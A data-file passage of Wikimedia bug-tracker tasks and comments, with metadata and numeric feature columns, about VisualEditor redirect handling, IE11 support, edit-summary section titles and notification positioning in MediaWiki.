+240391,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"Change 95103 had a related patch set uploaded by Jforrester:
+[WIP] Let users set #REDIRECT, __NOTOC__, & __FORCETOC__
+
+https://gerrit.wikimedia.org/r/95103",,,1384313403,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+240386,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"(In reply to comment #3)
+Indeed, I first noticed this bug in a user page which was a redirect.",,,1375531656,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+240379,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"I figured out that the redirect was the reason why I could not see VE tab on my userpage at vec.wiki, but I also suggest that this should probably be more visible. Redirects are also widely used on user pages, and I assume that there will be people who might consider writing a proper user page with VE at some point and will be puzzled that they can't find its tab there. Just my 2c :)",,,1375522019,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+240374,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"Not a duplicate of bug 50877; this is about being able to edit page redirects, which is an enhancement we want to do shortly, blocked by bug 47328.",,,1373160972,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+240370,VisualEditor: Remove the disablement of VisualEditor for redirect pages,"I assume this bug is a duplicate. I believe an initial compromise was to remove the ""edit"" tab (leaving only ""edit source"") on redirects. But the behavior here still is pretty wonky and will likely remain wonky until someone writes a redirect VisualEditor module/plugin, I think?",,,1373160777,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hkpifvkdgtnwuojek3uj,task_subcomment,,True,c1,3,False,,,0,,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+52877,VisualEditor: Editor not triggered on system redirects,"If you click in the link
+https://en.wikipedia.org/wiki/Special:MyPage?veaction=edit
+you will be redirected to your user page in ""view"" mode instead of ""vedit"" mode
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: https://en.wikipedia.org/wiki/Special:MyPage?veaction=edit",Medium,50.0,1373160480,1400888355.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+240339,VisualEditor: Editor not triggered on system redirects,"Change 134788 merged by jenkins-bot:
+Preserve veaction, vesection on special redirects to wiki pages
+
+https://gerrit.wikimedia.org/r/134788",,,1400888338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240334,VisualEditor: Editor not triggered on system redirects,"Change 134788 had a related patch set uploaded by Mattflaschen:
+Preserve veaction, vesection on special redirects to wiki pages
+
+https://gerrit.wikimedia.org/r/134788",,,1400742360,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240327,VisualEditor: Editor not triggered on system redirects,"From bug 51178 comment 0:
+
+| The veaction parameter is not passed by Special:MyPage, so links like this do
+| not work: http://en.wikipedia.org/wiki/Special:MyPage/sandbox?veaction=edit
+|
+| See the patch for bug 45219 for the way a similar issue was solved for the
+| Guided Tours extension.",,,1373566655,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240323,VisualEditor: Editor not triggered on system redirects,*** Bug 51178 has been marked as a duplicate of this bug. ***,,,1373566618,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wcnnt6ci2eb4mcaggjrl,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52874,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","Lots of testing involved here; currently assigning to myself.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373152020,1434589709.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_description,declined,True,c1,3,True,True,False,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+476932,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","This is not the right task for ""add something to the whitelist"".",,,1434589709,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,True,,,102,,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+473383,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist",re-opening since I think it works pretty well.,,,1434060016,,PHID-USER-ogbcrxm45oo3n3xe5q25,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,False,,,101,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+240226,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","INVALID-ing this given that the answer on testing is 'no'. Will need to take forward as real bugs, sadly.",,,1377033706,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+240221,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","(In reply to comment #1)
+> Currently the answer appears to be ""no we don't work very well"". :) Selection
+> is broken, and typing seems to eat the entire document.
+
+Darn. :-(
+
+> James, do you have a copy of Windows 8.1 Preview to test with? I can provide
+> an installer ISO and a couple of product keys if you need them. Runs fine in
+> Parallels.
+
+Thanks for the offer, though Microsoft reached out to us and gave me the same; I've just not had a chance to do anything with it yet.",,,1373319033,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,True,,,1,,0,1,1,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,1
+240217,"VisualEditor: Check whether we work in IE11 fine, and if so, add to the whitelist","Currently the answer appears to be ""no we don't work very well"". :) Selection is broken, and typing seems to eat the entire document.
+
+James, do you have a copy of Windows 8.1 Preview to test with? I can provide an installer ISO and a couple of product keys if you need them. Runs fine in Parallels.",,,1373308626,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-35rbgnr7z5e2nahfmsjs,task_subcomment,,True,c1,3,False,,,1,,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,0
+52872,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Even though section editing in VE is a long way off, it would be really helpful if the title of the section you click edit on was automatically included in the edit summary in the same way that the source editor does. For example, when making [https://en.wikipedia.org/w/index.php?title=Viareggio_train_derailment&diff=next&oldid=563164136 this edit] I launched the VE by clicking on the edit link for the ""See also"" section, so I was expecting the edit summary to begin with the usual ""-> See also"". This provides context for the edit summary and so helps give context at recent changes and on watchlists.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56891
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51903",Medium,50.0,1373150220,1374634478.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-5kevizlj2r7opk2fmypx,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+240148,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,Done and will be deployed tomorrow.,,,1374634478,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+240140,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Change 74545 merged by jenkins-bot:
+Prepend section title to edit summary
+
+https://gerrit.wikimedia.org/r/74545",,,1374620537,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240132,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"(In reply to comment #7)
+> *** Bug 51903 has been marked as a duplicate of this bug. ***
+
+not exactly: this bug is about ""when launched from section edit link"".
+
+IMO, this will be wrong: VE does not support section edit, and a user can launch VE from a section edit link, and then do whatever anywhere on the page. 
+
+bug 51903 asked VE to analyze the page when the user press ""save"", find out whether or not the changes are confined to a specific section, and if so (regardless of how VE was launched), add the section name to the summary.
+
+so i do not think these two are truly ""duplicates"". 
+if anything, this bug should be marked ""invalid"" and bug 51903 should be resurrected (51903 was opened as ""enhancement request"").
+
+peace.",,,1374606424,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+240128,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,*** Bug 51903 has been marked as a duplicate of this bug. ***,,,1374605494,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240124,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Change 74545 had a related patch set uploaded by Esanders:
+Prepend section title to edit summary
+
+https://gerrit.wikimedia.org/r/74545",,,1374187124,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240119,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,*** Bug 51343 has been marked as a duplicate of this bug. ***,,,1373932279,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240113,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Well, having a misleading ""edit section"" link isn't considered a problem.",,,1373185656,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0
+240108,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"Absolutely it can (and probably should) be removable.
+
+As for editing other sections, hmm. My initial thought is to wonder whether it could be detectable from the diff generator which section(s) have been edited?",,,1373183092,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,False,,,0,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+240102,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,*** Bug 50535 has been marked as a duplicate of this bug. ***,,,1373155212,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240096,VisualEditor: Pre-fill the section title in the edit summary when launched from a section edit link,"(In reply to comment #0)
+> Even though section editing in VE is a long way off, it would be really
+> helpful if the title of the section you click edit on was automatically
+> included in the edit summary in the same way that the source editor does.
+> For example, when making https://en.wikipedia.org/w/?diff=next&oldid=563164136
+> this edit I launched the VE by clicking on the edit link for the ""See also""
+> section, so I was expecting the edit summary to begin with the usual ""-> See
+> also"". This provides context for the edit summary and so helps give context
+> at recent changes and on watchlists.
+
+Won't this be rather mis-leading? Normally reviewers will expect the changes to be limited to that section, whereas editors are unlikely to keep their changes restricted in that way. Potentially we could add it into the edit summary box before the user adds anything, so they can remove it if they want?",,,1373155090,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5kevizlj2r7opk2fmypx,task_subcomment,,True,c1,3,True,,,0,,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+52870,mediawiki.notification: Notification area should remain visible when scrolled down,"Original bug title:
+mediawiki.notification should show the notification bubble relative to the screen, not to the document
+
+Current behaviour:
+Calling mw.notify(""abc"") in JavaScript creates a message-bubble somewhere below the first <h1> heading (the title) and the bubble disappears after about 5s.
+
+Why this is an issue:
+But if you have scrolled-down the page, the notification disappears without being read.
+
+Where is this an issue:
+For example, when marking large new pages as patrolled, the patrol link is at the bottom of the page and the message whether patrolling succeeded is not visible to the user. Or at custom gadgets/user scripts.
+
+Expected behaviour:
+Bubble shown, no matter of the current scroll position.
+
+Possible implementation:
+Fixed position.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Medium,50.0,1373144520,1374636514.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+240004,mediawiki.notification: Notification area should remain visible when scrolled down,*** Bug 48689 has been marked as a duplicate of this bug. ***,,,1381254374,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239997,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75662 had a related patch set uploaded by Matmarex:
+mw.notification: Fix incorrect initial offset
+
+https://gerrit.wikimedia.org/r/75662",,,1374689170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239990,mediawiki.notification: Notification area should remain visible when scrolled down,"@se4598, thanks for the report, I7444bf55 should fix this. Sorry!",,,1374689138,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+239982,mediawiki.notification: Notification area should remain visible when scrolled down,"above change deployed recently doesn't work for me; breaks UI:
+* notification doesn't scroll with
+* blocks user bar and other tabs in the top right corner
+* css style changed
+
+experienced in firefox 22 as well in chrome",,,1374687551,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+239976,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75614 merged by Catrope:
+mediawiki.notification: Make notification area sticky to window
+
+https://gerrit.wikimedia.org/r/75614",,,1374679819,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239974,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75611 merged by Catrope:
+mediawiki.notification: Make notification area sticky to window
+
+https://gerrit.wikimedia.org/r/75611",,,1374679699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+239971,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75614 had a related patch set uploaded by Catrope:
+mediawiki.notification: Make notification area sticky to window
+
+https://gerrit.wikimedia.org/r/75614",,,1374678751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239968,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 75611 had a related patch set uploaded by Catrope:
+mediawiki.notification: Make notification area sticky to window
+
+https://gerrit.wikimedia.org/r/75611",,,1374678540,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239963,mediawiki.notification: Notification area should remain visible when scrolled down,"Fixed in the above patch, which we will deploy tomorrow as a cherry-pick given the need to fix this urgently for VisualEditor.",,,1374636514,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ct4cgxz4gl6hs4fuvcpo,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+239958,mediawiki.notification: Notification area should remain visible when scrolled down,"Change 72322 merged by jenkins-bot:
+mediawiki.notification: Make notification area sticky to window
+
